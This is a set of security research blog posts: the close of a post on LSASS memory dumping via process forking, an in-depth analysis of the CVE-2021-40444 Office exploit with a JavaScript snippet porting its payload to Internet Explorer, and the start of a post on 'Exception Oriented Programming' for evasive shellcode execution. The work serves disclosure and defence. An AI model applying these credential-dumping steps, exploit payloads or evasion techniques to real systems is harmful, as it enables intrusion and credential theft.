One obvious target for a stealthy memory reading technique such as this is the Local Security Authority Subsystem Service (LSASS). LSASS is often the target of attackers that wish to capture the credentials for the current machine.

In a typical attack, a malicious program such as Mimikatz directly interfaces with LSASS on the victim machine, however, a stealthier alternative has been to dump the memory of LSASS for processing on an attacker machine. This is to avoid putting a well-known malicious program such as Mimikatz on the victim environment which is much more likely to be detected.

With Process Forking, an attacker can evade defensive solutions that monitor or prevent access to the LSASS process by dumping the memory of an LSASS fork instead:

  1. Set debug privileges for your current process if you are not already running as SYSTEM.
  2. Open a file to write the memory dump to.
  3. Create a fork child of LSASS.
  4. Use the common MiniDumpWriteDump API on the forked child.
  5. Exfiltrate the dump file to an attacker machine for further processing.

Proof of Concept

A simple proof-of-concept utility and library have been published on GitHub.

Conclusion

Process Forking still requires that an attacker would have access to the victim process in the default Windows security model. Process Forking does not break integrity boundaries and attackers are restricted to processes running at the same privilege level they are. What Process Forking does offer is a largely ignored alternative to handle rights that are known to be potentially malicious.

Remediation may be difficult depending on the context of the solution relying on handle callbacks. An anti-cheat defending a single process may be able to get away with stripping PROCESS_CREATE_PROCESS handles entirely, but anti-virus solutions protecting multiple processes attempting a similar fix could face compatibility issues. It is recommended that vendors who opt to strip this access right initially audit its usage within customer environments and limit the processes they protect as much as possible.

Didn't I see this on Twitter yesterday?

Did you know that it is possible to read memory using a PROCESS_CREATE_PROCESS handle? Just call NtCreateProcessEx to clone the target process (and its entire address space), and then read anything you want from there.😎

— diversenok (@diversenok_zero) November 25, 2021

Yesterday morning, I saw this interesting tweet from @diversenok_zero explaining the same method discussed in this blog post.

One approach I like to take with new research or methods I find that I haven't investigated thoroughly yet is to generate a SHA256 hash of the idea and then post it somewhere publicly where the timestamp is recorded. This way, in cases like this where my research conflicts with what another researcher was working on, I can always prove I discovered the trick on a certain date. In this case, on June 19th 2021, I posted a public GitHub gist of the following SHA256 hash:

D779D38405E8828F5CB27C2C3D75867C6A9AA30E0BD003FECF0401BFA6F9C8C7
You can read the memory of any process that you can open a PROCESS_CREATE_PROCESS handle to by calling NtCreateProcessEx using the process handle as the ParentHandle argument and providing NULL for the section argument.

If you generate a SHA256 hash of the quote above, you'll notice it matches the one I publicly posted back in June.

I have been waiting to publish this research because I am currently in the process of responsibly disclosing the issue to vendors whose products are impacted by this attack. Since the core theory of my research was shared publicly by @diversenok_zero, I decided it would be alright to share what I found around the technique as well.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit

7 January 2022 at 09:18
Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit

In the middle of August 2021, a special Word document was uploaded to VirusTotal by a user from Argentina. Although it was only detected by a single antivirus engine at the time, this sample turned out to be exploiting a zero day vulnerability in Microsoft Office to gain remote code execution.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit

Three weeks later, Microsoft published an advisory after being notified of the exploit by researchers from Mandiant and EXPMON. It took Microsoft nearly a month from the time the exploit was first uploaded to VirusTotal to publish a patch for the zero day.

In this blog post, I will be sharing my in-depth analysis of the several vulnerabilities abused by the attackers, how the exploit was patched, and how to port the exploit for a generic Internet Explorer environment.

First Look

A day after Microsoft published their advisory, I saw a tweet from the malware collection group @vxunderground offering a malicious payload for CVE-2021-40444 to blue/red teams.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit

I reached out to receive a copy, because why not? My curiosity has generally lead me in the right direction for my life and I was interested in seeing a Microsoft Word exploit that had been found in the wild.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit

With the payload in hand, one of the first steps I took was placing it into an isolated virtual machine with basic dynamic analysis tooling. Specifically, one of my favorite network monitoring utilities is Fiddler, a freemium tool that allows you to intercept web requests (including encrypted HTTPS traffic).

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit

After I opened the malicious Word document, Fiddler immediately captured strange HTTP requests to the domain, "hidusi[.]com". For some reason, the Word document was making a request to "http://hidusi[.]com/e8c76295a5f9acb7/side.html".

At this point, the "hidusi[.]com" domain was already taken down. Fortunately, the "side.html" file being requested was included with the sample that was shared with me.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit

Unfortunately, the HTML file was largely filled with obfuscated JavaScript. Although I could immediately decrypt this JavaScript and go from there, this is generally a bad idea to do at an early stage because we have no understanding of the exploit.

Reproduction

Whenever I encounter a new vulnerability that I want to reverse engineer, my first goal is always to produce a minimal reproduction example of the exploit to ensure I have a working test environment and a basic understanding of how the exploit works. Having a reproduction case is critical to reverse engineering how the bug works, because it allows for dynamic analysis.

Since the original "hidusi[.]com" domain was down, we needed to host our version of side.html. Hosting a file is easy, but how do we make the Word document use our domain instead? It was time to find where the URL to side.html was hidden inside the Word document.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Raw Bytes of "A Letter before court 4.docx"
Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Extracted Contents of "A Letter before court 4.docx"

Did you know that Office documents are just ZIP files? As we can see from the bytes of the malicious document, the first few bytes are simply the magic value in the ZIP header.

Once I extracted the document as a ZIP, finding the URL was relatively easy. I performed a string search across every file the document contained for the domain "hidusi[.]com".

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Hidusi[.]com found under word/_rels/document.xml.rels

Sure enough, I found one match inside the file "word/_rels/document.xml.rels". This file is responsible for defining relationships associated with embedded objects in the document.

OLE objects are part of Microsoft's proprietary Object Linking and Embedding technology, which allows external documents, such as an Excel spreadsheet, to be embedded within a Word document.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Strange Target for OLE Object

The relationship that contained the malicious URL was an external OLE object with a strange "Target" attribute containing the "mhtml" protocol. Let's unpack what's going on in this value.

  1. In red, we see the URL Protocol "mhtml".
  2. In green, we see the malicious URL our proxy caught.
  3. In blue, we see an interesting "!x-usc" suffix appended to the malicious URL.
  4. In purple, we see the same malicious URL repeated.

Let's investigate each piece one-by-one.

Reproduction: What's "MHTML"?

A useful tool I've discovered in past research is URLProtocolView from Nirsoft. At a high level, URLProtocolView allows you to list and enumerate the URL protocols installed on your machine.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
The MHTML Protocol in URLProtocolView

The MHTML protocol used in the Target attribute was a Pluggable Protocol Handler, similar to HTTP. The inetcomm.dll module was responsible for handling requests to this protocol.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
The HTTP* Protocols in URLProtocolView

Unlike MHTML however, the HTTP protocol is handled by the urlmon.dll module.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit

When I was researching past exploits involving the MHTML protocol, I came across an interesting article all the way back from 2011 about CVE-2011-0096. In this case, a Google engineer publicly disclosed an exploit that they suspected malicious actors attributed to China had already discovered. Similar to this vulnerability, CVE-2021-0096 was only found to be used in "very targeted" attacks.

When I was researching implementations of exploits for CVE-2011-0096, I came across an exploit-db release that included an approach for abusing the vulnerability through a Word document. Specifically, in part #5 and #6 of the exploit, this author discovered that CVE-2011-0096 could be abused to launch executables on the local machine and read the contents of the local filesystem. The interesting part here is that this 2011 vulnerability involved abusing the MHTML URL protocol and that it allowed for remote code execution via a Word document, similar to the case with CVE-2021-4044.

Reproduction: What about the "X-USC" in the Target?

Going back to our strange Target attribute, what is the "!x-usc:" portion for?

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit

I found a blog post from 2018 by @insertScript which discovered that the x-usc directive was used to reference an external link. In fact, the example URL given by the author still works on the latest version of Internet Explorer (IE). If you enter "mhtml:http://google.com/whatever!x-usc:http://bing.com" into your IE URL bar while monitoring network requests, there will be both a request to Google and Bing, due to the "x-usc" directive.

In the context of CVE-2021-40444, I was unable to discover a definitive answer for why the same URL was repeated after an "x-usc" directive. As we'll see in upcoming sections, the JavaScript in side.html is executed regardless of whether or not the attribute contains the "x-usc" suffix. It is possible that due to some potential race conditions, this suffix was added to execute the exploit twice to ensure successful payload delivery.

Reproduction: Attempting to Create my Own Payload

Now that we know how the remote side.html page is triggered by the Word document, it was time to try and create our own. Although we could proceed by hosting the same side.html payload the attackers used in their exploit, it is important to produce a minimal reproduction example first.

Instead of hosting the second-stage side.html payload, I opted to write a barebone HTML page that would indicate JavaScript execution was successful. This way, we can understand how JavaScript is executed by the Word document before reverse engineering what the attacker's JavaScript does.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Test Payload to Prove JS Execution

In the example above, I created an HTML page that simply made an XMLHttpRequest to a non-existent domain. If the JavaScript is executed, we should be able to see a request to "icanseethisrequestonthenetwork.com" inside of Fiddler.

Before testing in the actual Word document, I verified as a sanity check that this page does make the web request inside of Internet Explorer. Although the code may seem simple enough to where it would "obviously work", performing simple sanity checks like these on fundamental assumptions you make can greatly save you time debugging future issues. For example, if you don't verify a fundamental assumption and continue with reverse engineering, you could spend hours debugging the wrong issue when in fact you were missing a basic mistake.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Modified Relationship with Barebone Payload
Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Network Requests After Executing Modified Document

Once I patched the original Word document with my modified relationship XML, I launched it inside my VM with the Fiddler proxy running. I was seeing requests to the send_request.html payload! But... there were no requests to "icanseethisonthenetwork.com". We have demonstrated a flaw in our fundamental assumption that whatever HTML page we point the MHTML protocol towards will be executed.

How do you debug an issue like this? One approach would be to go in blind and try to reverse engineer the internals of the HTML engine to see why JavaScript wasn't being executed. The reason this is not a great idea is because often these codebases can be massive, and it would be like finding a needle in a haystack.

What can we do instead? Create a minimally viable reproduction case where the JavaScript of the HTML is executed. We know that the attacker's payload must have worked in their attack. What if instead of writing our own payload first, we tried to host their payload instead?

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Network Requests After Executing with Side.html Payload

I uploaded the attacker’s original "side.html" payload to my server and replaced the relationship in the Word document with that URL. When I executed this modified document in my VM, I saw something extremely promising- requests for "ministry.cab". This means that the attacker's JavaScript inside side.html was executed!

We have an MVP payload that gets executed by the Word document, now what? Although we could ignore our earlier problem with our own payload and try to figure out what the CAB file is used for directly, we'd be skipping a crucial step of the exploit. We want to understand CVE-2021-40444, not just reproduce it.

With this MVP, we can now try to debug and reverse engineer the question, "Why does the working payload result in JavaScript execution, but not our own sample?".

Reproduction: Reverse Engineering Microsoft’s HTML Engine

The primary module responsible for processing HTML in Windows is MSHTML.DLL, the "Microsoft HTML Viewer". This binary alone is 22 MB, because it contains almost everything from rendering HTML to executing JavaScript. For example, Microsoft has their own JavaScript engine in this binary used in Internet Explorer (and Word).

Given this massive size, blindly reversing is a terrible approach. What I like to do instead is use ProcMon to trace the execution of the successful (document with side.html) and failing payload (document with barebone HTML), then compare their results. I executed the attacker payload document and my own sample document while monitoring Microsoft Word with ProcMon.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Microsoft Word Loading JScript9.dll in Success Case

With the number of operations an application like Microsoft Office makes, it can be difficult to sift through the noise. The best approach I have for this problem is to use my context to find relevant operations. In this case, since we were looking into the execution of JavaScript, I looked for operations involving the word “script”.

You might think, what can we do with relevant operations? An insanely useful feature of ProcMon is the ability to see the caller stack for a given operation. This lets you see what executed the operation.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Stack Trace of JScript9.dll Module Load
Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
IDA Pro Breakpoint on PostManExecute

It looked like the PostManExecute function was primary responsible for triggering the complete execution of our payload. Using IDA Pro, I set a breakpoint on this function and opened both the successful/failing payloads.

I found that when the success payload was launched, PostManExecute would be called, and the page would be loaded. On the failure case however, PostManExecute was not called and thus the page was never executed. Now we needed to figure out why is PostManExecute being invoked for the attacker’s payload but not ours?

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Partial Stack Trace of JScript9.dll Module Load

Going back to the call stack, what’s interesting is that PostManExecute seems to be the result of a callback that is being invoked in an asynchronous thread.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
X-Refs to CDwnChan::OnMethodCall from Call Stack

Looking at the cross references for the function called right after the asynchronous dispatcher, CDwnChan::OnMethodCall, I found that it seemed to be queued in another function called CDwnChan::Signal.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Asynchronous Execution of CDwnChan::OnMethodCall inside CDwnChan::Signal
Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
X-Refs to CDwnChan::Signal

CDwnChan::Signal seemed to be using the function "_GWPostMethodCallEx" to queue the CDwnChan::OnMethodCall to be executed in the asynchronous thread we saw. Unfortunately, this Signal function is called from many places, and it would be a waste of time to try to statically reverse engineer every reference.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
X-Refs to Asynchronous Queue'ing Function __GWPostMethodCallEx

What can we do instead? Looking at the X-Refs for _GWPostMethodCallEx, it seemed like it was used to queue almost everything related to HTML processing. What if we hooked this function and compared the different methods that were queued between the success and failure path?

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit

Whenever __GWPostMethodCallEx was called, I recorded the method being queued for asynchronous execution and the call stack. The diagram above demonstrates the methods that were queued during the execution of the successful payload and the failing payload. Strangely in the failure path, the processing of the HTML page was terminated (CDwnBindData::TerminateOnApt) before the page was ever executed.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Callstack for CDwnBindData::TerminateOnApt

Why was the Terminate function being queued before the OnMethodCall function in the failure path? The call stacks for the Terminate function matched between the success and failure paths. Let’s reverse engineer those functions.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Partial Pseudocode of CDwnBindData::Read

When I debugged the CDwnBindData::Read function, which called the Terminate function, I found that a call to CDwnStm::Read was working in the success path but returning an error in the failure path. This is what terminated the page execution for our sample payload!

The third argument to CDwnStm::Read was supposed to be the number of bytes the client should try to read from the server. For some reason, the client was expecting 4096 bytes and my barebone HTML file was not that big.

As a sanity check, I added a bunch of useless padding to the end of my HTML file to make its size 4096+ bytes. Let’s see our network requests with this modified payload.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Modified Barebone HTML with Padding to 4096 bytes
Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Network Requests of Barebone Word Document

We had now found and fixed the issue with our barebone HTML page! But our work isn't over yet. We wouldn’t be great reverse engineers if we didn’t investigate why the client was expecting 4096 bytes in the first place.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Partial Pseudocode of CHtmPre::GetReadRequestSize

I traced back the origin of the expected size to a call in CHtmPre::Read to CHtmPre::GetReadRequestSize. Stepping through this function in a debugger, I found that a field at offset 136 of the CHtmPre class represented the request size the client should expect. How can we find out why this value is 4096? Something had to write to it at some point.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Partial Pseudocode of CHtmPre Constructor

Since we were looking at a class function of the CHtmPre class, I set a breakpoint on the constructor for this class. When the debugger reached the constructor, I placed a write memory breakpoint for the field offset we saw (+ 136).

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Partial Pseudocode of CEncodeReader Constructor when the Write Breakpoint Hit

The breakpoint hit! And not so far away either. The 4096 value was being set inside of another object constructor, CEncodeReader::CEncodeReader. This constructor was instantiated by the CHtmPre constructor we just hooked. Where did the 4096 come from then? It was hardcoded into the CHtmPre constructor!

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Partial Pseudocode of CHtmPre Constructor, Highlighting Hardcoded 4096 Value

What was happening was that when the CHtmPre instance was constructed, it had a default read size of 4096 bytes. The client was reading the bytes from the HTTP response before this field was updated with the real response size. Since our barebone payload was just a small HTML page under 4096 bytes, the client thought that the server hadn’t sent the required response and thus terminated the execution.

The reason the attacker's payload worked is because it was above 4096 bytes in size. We just found a bug still present in Microsoft’s HTML processor!

Reproduction: Fixing the Attacker's Payload

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Network Requests After Executing with Side.html Payload

We figured out how to make sure our payload executes. If you recall to an earlier section of this blog post, we saw that a request to a "ministry.cab" file was being made by the attacker's side.html payload. Fortunately for us, the attacker’s sample came with the CAB file the server was originally serving.

This CAB file was interesting. It had a single file named "../msword.inf", suggesting a relative path escape attack. This INF file was a PE binary for the attacker’s Cobalt Strike beacon. I replaced this file with a simple DLL that opened Calculator for testing. Unfortunately, when I uploaded this CAB file to my server, I saw a successful request to it but no Calculator.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Operations involving msword.inf from CAB file
Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Call stack of msword.inf Operation

I monitored Word with ProcMon once again to try and see what was happening with the CAB file. I filtered for "msword.inf" and found interesting operations where Word was writing it to the VM user's %TEMP% directory. The "VerifyTrust" function name in the call stack suggested that the INF file was written to the TEMP directory while it was trying to verify its signature.

Let's step through these functions to figure out what's going on.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Partial Pseudocode of Cwvt::VerifyTrust

After stepping through Cwvt::VerifyTrust with a debugger, I found that the function attempted to verify the signature of files contained within the CAB file. Specifically, if the CAB file included an INF file, it would extract it to disk and try to verify its digital signature.

What was happening was that the extraction process didn't have any security measures, allowing for an attacker to use relative path escapes to get out of the temporary directory that was generated for the CAB file.

The attackers were using a zero-day with ActiveX controls:

  1. The attacker’s JavaScript (side.html) would attempt to execute the CAB file as an ActiveX control.
  2. This triggered Microsoft’s security controls to verify that the CAB file was signed and safe to execute.
  3. Unfortunately, Microsoft handled this CAB file without care and although the signature verification fails, it allowed an attacker to extract the INF file to another location with relative path escapes.

If there was a user-writable directory where if you could put a malicious INF file, it would execute your malware, then they could have stopped here with their exploit. This isn’t a possibility though, so they needed some way to execute the INF file as a PE binary.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Strange control.exe Execution with INF File in Command Line
Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Strange rundll32.exe Execution with INF File in Command Line

Going back to ProcMon, I tried to see why the INF file wasn’t being executed. It looks like they were using another exploit to trigger execution of "control.exe".

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
".cpl" Used as a URL Protocol

The attackers were triggering the execution of a Control Panel Item. The command line for control.exe suggested they were using the ".cpl" file extension as a URL protocol and then used relative path escapes to trigger the INF file.

Why wasn’t my Calculator DLL being executed then? Entirely my mistake! I was executing the Word document from a nested directory, but the attackers were only spraying a few relative path escapes that never reached my user directory. This makes sense because this document is intended to be executed from a victim's Downloads folder, whereas I was hosting the file inside of a nested Documents directory.

I placed the Word document in my Downloads folder and… voila:

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Calculator being Executed by Word Document

Reversing the Attacker's Payload

We have a working exploit! Now the next step to understanding the attack is to reverse engineer the attacker’s malicious JavaScript. If you recall, it was somewhat obfuscated. As someone with experience with JavaScript obfuscators, it didn’t seem like the attacker’s did too much, however.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Common JavaScript String Obfuscation Technique seen in Attacker's Code

A common pattern I see with attempts at string obfuscation in JavaScript is an array containing a bunch of strings and the rest of the code referencing strings through an unknown function which referenced that array.

In this case, we can see a string array named "a0_0x127f" which is referenced inside of the global function "a0_0x15ec". Looking at the rest of the JavaScript, we can see that several parts of it call this unknown function with an numerical index, suggesting that this function is used to retrieve a deobfuscated version of the string.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
String Deobfuscation Script

This approach to string obfuscation is relatively easy to get past. I wrote a small script to find all calls to the encryption function, resolve what the string was, and replace the entire call with the real string. Instead of worrying about the mechanics of the deobfuscation function, we can just call into it like the real code does to retrieve the deobfuscated string.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Before String Deobfuscation
Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
After String Deobfuscation

This worked extremely well and we now have a relatively deobfuscated version of their script. The rest of the deobfuscation was just combining strings, getting rid of "indirect" calls to objects, and naming variables given their context. I can’t cover each step in detail because there were a lot of minor steps for this last part, but there was nothing especially notable. I tried naming the variables the best I could given the context around them and commented out what I thought was happening.

Let’s review what the script does.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Part #1 of Deobfuscated JavaScript: Create and Destroy an IFrame

In this first part, the attacker's created an iframe element, retrieved the ActiveX scripting interface for that iframe, and destroyed the iframe. Although the iframe has been destroyed, the ActiveX interface is still live and can be used to execute arbitrary HTML/JavaScript.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Part #2 of Deobfuscated JavaScript: Create Nested ActiveX HTML Documents

In this next part, the attackers used the destroyed iframe's ActiveX interface to create three nested HTML documents. I am not entirely sure what the purpose of these nested documents serves, because if the attackers only used the original ActiveX interface without any nesting, the exploit works fine.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Part #3 of Deobfuscated JavaScript: Create ActiveX Control and Trigger INF File

This final section is what performs the primary exploits.

The attackers make a request to the exploit CAB file ("ministry.cab") with an XMLHttpRequest. Next, the attackers create a new ActiveX Control object inside of the third nested HTML document created in the last step. The class ID and version of this ActiveX control are arbitrary and can be changed, but the important piece is that the ActiveX Control points at the previously requested CAB file. URLMON will automatically verify the signature of the ActiveX Control CAB file, which is when the malicious INF file is extracted into the user's temporary directory.

To trigger their malicious INF payload, the attackers use the ".cpl" file extension as a URL Protocol with a relative path escape in a new HTML document. This causes control.exe to start rundll32.exe, passing the INF file as the Control Panel Item to execute.

The fully deobfuscated and commented HTML/JS payload can be found here.

Overview of the Attack

We covered a significant amount in the previous sections, let's summarize the attack from start to finish:

  1. A victim opens the malicious Word document.
  2. Word loads the attacker's HTML page as an OLE object and executes the contained JavaScript.
  3. An IFrame is created and destroyed, but a reference to its ActiveX scripting surface remains.
  4. The CAB file is invoked by creating an ActiveX control for it.
  5. While the CAB file's signature is verified, the contained INF file is written to the user's Temp directory.
  6. Finally, the INF is invoked by using the ".cpl" extension as a URL protocol, using relative path escapes to reach the temporary directory.
Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit

Reversing Microsoft's Patch

When Microsoft released its advisory for this bug on September 7th, they had no patch! To save face, they claimed Windows Defender was a mitigation, but that was just a detection for the attacker's exploit. The underlying vulnerability was untouched.

It took them nearly a month from when the first known sample was uploaded to VirusTotal (August 19th) to finally fix the issue on September 14th with a Patch Tuesday update. Let’s take a look at the major changes in this patch.

A popular practice by security researchers is to find the differences in binaries that used to contain vulnerabilities with the patched binary equivalent. I updated my system but saved several DLL files from my unpatched machine. There are a couple of tools that are great for finding assembly-level differences between two similar binaries.

  1. BinDiff by Zynamics
  2. Diaphora by Joxean Koret

I went with Diaphora because it is more advanced than BinDiff and allows for easy pseudo-code level comparisons. The primary binaries I diff'd were:

  1. IEFRAME.dll - This is what executed the URL protocol for ".cpl".
  2. URLMON.dll - This is what had the CAB file extraction exploit.

Reversing Microsoft's Patch: IEFRAME

Once I diff’d the updated and unpatched binary, I found ~1000 total differences, but only ~30 major changes. One function that had heavy changes and was associated with the CPL exploit was _AttemptShellExecuteForHlinkNavigate.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Pseudocode Diff of _AttemptShellExecuteForHlinkNavigate

In the old version of IEFRAME, this function simply used ShellExecuteW to open the URL protocol with no verification. This is why the CPL file extension was processed as a URL protocol.

In the new version, they added a significant number of checks for the URL protocol. Let’s compare the differences.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Patched _AttemptShellExecuteForHlinkNavigate Pseudocode
Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
New IsValidSchemeName Function

In the patched version of _AttemptShellExecuteForHlinkNavigate, the primary addition that prevents the use of file extensions as URL Protocols is the call to IsValidSchemeName.

This function takes the URL Protocol that is being used (i.e ".cpl") and verifies that all characters in it are alphanumerical. For example, this exploit used the CPL file extension to trigger the INF file. With this patch, ".cpl" would fail the IsValidSchemeName function because it contains a period which is non-alphanumerical.

An important factor to note is that this patch for using file extensions as URL Protocols only applies to MSHTML. File extensions are still exposed for use in other attacks against ShellExecute, which is why I wouldn't be surprised if we saw similar techniques in future vulnerabilities.

Reversing Microsoft's Patch: URLMON

I performed the same patch diffing on URLMON and found a major change in catDirAndFile. This function was used during extraction to generate the output path for the INF file.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
Patched catDirAndFile Pseudocode

The patch for the CAB extraction exploit was extremely simple. All Microsoft did was replace any instance of a forward slash with a backslash. This prevents the INF extraction exploit of the CAB file because backslashes are ignored for relative path escapes.

Abusing CVE-2021-40444 in Internet Explorer

Although Microsoft's advisory covers an attack scenario where this vulnerability is abused in Microsoft Office, could we exploit this bug in another context?

Since Microsoft Office uses the same engine Internet Explorer uses to display web pages, could CVE-2021-40444 be abused to gain remote code execution from a malicious page opened in IE? When I tried to visit the same payload used in the Word document, the exploit did not work "out of the box", specifically due to an error with the pop up blocker.

Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
IE blocks .cpl popup

Although the CAB extraction exploit was successfully triggered, the attempt to launch the payload failed because Internet Explorer considered the ".cpl" exploit to be creating a pop up.

Fortunately, we can port the .cpl exploit to get around this pop up blocker relatively easily. Instead of creating a new page, we can simply redirect the current page to the ".cpl" URL.

function redirect() {
    //
    // Redirect current window without creating new one,
    // evading the IE pop up blocker.
    //
    window.location = ".cpl:../../../AppData/Local/Temp/Low/msword.inf";
    document.getElementById("status").innerHTML = "Done";
}

//
// Trigger in 500ms to give time for the .cab file to extract.
//
setTimeout(function() {
    redirect()
}, 500);
Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit

With the small addition of the redirect, CVE-2021-40444 works without issue in Internet Explorer. The complete code for this ported HTML/JS payload can be found here.

Conclusion

CVE-2021-40444 is in fact compromised of several vulnerabilities as we investigated in this blog post. Not only was there the initial step of extracting a malicious file to a predictable location through the CAB file exploit, but there was also the fact that URL Protocols could be file extensions.

In the latest patch, Word still executes pages with JavaScript if you use the MHTML protocol. What’s frightening to me is that the entire attack surface of Internet Explorer is exposed to attackers through Microsoft Word. That is a lot of legacy code. Time will tell what other vulnerabilities attacker's will abuse in Internet Explorer through Microsoft Office.

Abusing Exceptions for Code Execution, Part 1

14 February 2022 at 20:11
Abusing Exceptions for Code Execution, Part 1

A common offensive technique used by operators and malware developers alike has been to execute malicious code at runtime to avoid static detection. Often, methods of achieving runtime execution have focused on placing arbitrary code into executable memory that can then be executed.

In this article, we will explore a new approach to executing runtime code that does not rely on finding executable regions of memory, but instead relies on abusing existing trusted memory to execute arbitrary code.

Background

Some common methods of runtime execution include:

  1. Allocating executable memory at runtime.
  2. Abusing Windows Section objects.
  3. Abusing existing RWX (read/write/execute) regions of memory allocated by legitimate code.
  4. Loading legitimate binaries that include an RWX PE section that can be overwritten.

One common pattern in all these methods is that they have always had a heavy focus on placing arbitrary shellcode in executable regions of memory. Another technique that has not seen significant adoption in the malware community due to its technical complexity is Return-Oriented Programming (ROP).

As a brief summary, ROP is a common technique seen in memory corruption exploits where an attacker searches for “snippets of code” (gadgets) inside binaries that perform a desired instruction and soon after return to the caller. These “gadgets” can then be used in a chain to perform small operations that add up to a larger goal.

Although typically used for memory corruption exploits, there has been limited use in environments where attackers already have code execution. For example, in the Video Game Hacking industry, there have been open-source projects that allow cheaters to abuse ROP gadgets to execute simplified shellcode for the purposes of gaining an unfair advantage in a video game.

The greatest limitation with ROP for runtime execution however is that the instruction set of potential gadgets can be extremely limited and thus is challenging to port complex shellcode to.

As an attacker that already has execution in an environment, ROP is an inefficient method of performing arbitrary operations at runtime. For example, assume you are given the following assembly located in a legitimate binary:

imul eax, edx
add eax, edx
ret

Using ROP, an attacker could only abuse the add eax, edx instruction because any previous instructions are not followed by a return instruction.

On a broader scale, although legitimate binaries are filled with a variety of different instructions performing all-kinds of operations, the limitations of ROP prevent an attacker from using most of these legitimate instructions.

Continuing the example assembly provided, the reason an attacker could not abuse the initial imul eax, edx instruction without corrupting their output is because as soon as the imul instruction is executed, the execution flow of the program would simply continue to the next add eax, edx instruction.

Theory: Runtime Obfuscation

I propose a new method of abusing legitimate instructions already present in trusted code, Exception Oriented Programming. Exception Oriented Programming is the theory of chaining together instructions present in legitimate code and “stepping over” these instructions one-by-one using a single step exception to simulate the execution of arbitrary shellcode.

As a general method, the steps to performing Exception Oriented Programming given arbitrary shellcode are:

  1. Setup the environment such that the program can intercept single step exceptions.
  2. Split each assembly instruction in the arbitrary shellcode into their respective assembled bytes.
  3. For each instruction, find an instance of the assembled bytes present in any legitimate module and store the memory location of these legitimate instructions.
  4. Execute any code that will cause an exception that the exception handler created in Step 1 can intercept. This can be as simple as performing a call instruction on an int3 (0xCC) instruction.
  5. In the exception handler, set the single step flag and set the instruction pointer register to the location of the next legitimate instruction for that shellcode.
  6. Repeat Step 5 until all instructions of the shellcode are executed.

The largest benefit to this method is that Exception Oriented Programming has significantly less requirements than Return Oriented Programming for an attacker that already has execution capabilities.

Next, we will cover some practical implementations of this theory. Although the implementations you will see are operating system specific, the theory itself is not restricted to one operating system. Additionally, implementation suggestions will stick strictly to documented methods, however it may be possible to implement the theory via undocumented methods such as directly hooking ntdll!KiUserExceptionDispatcher.

Vectored Exception Handlers

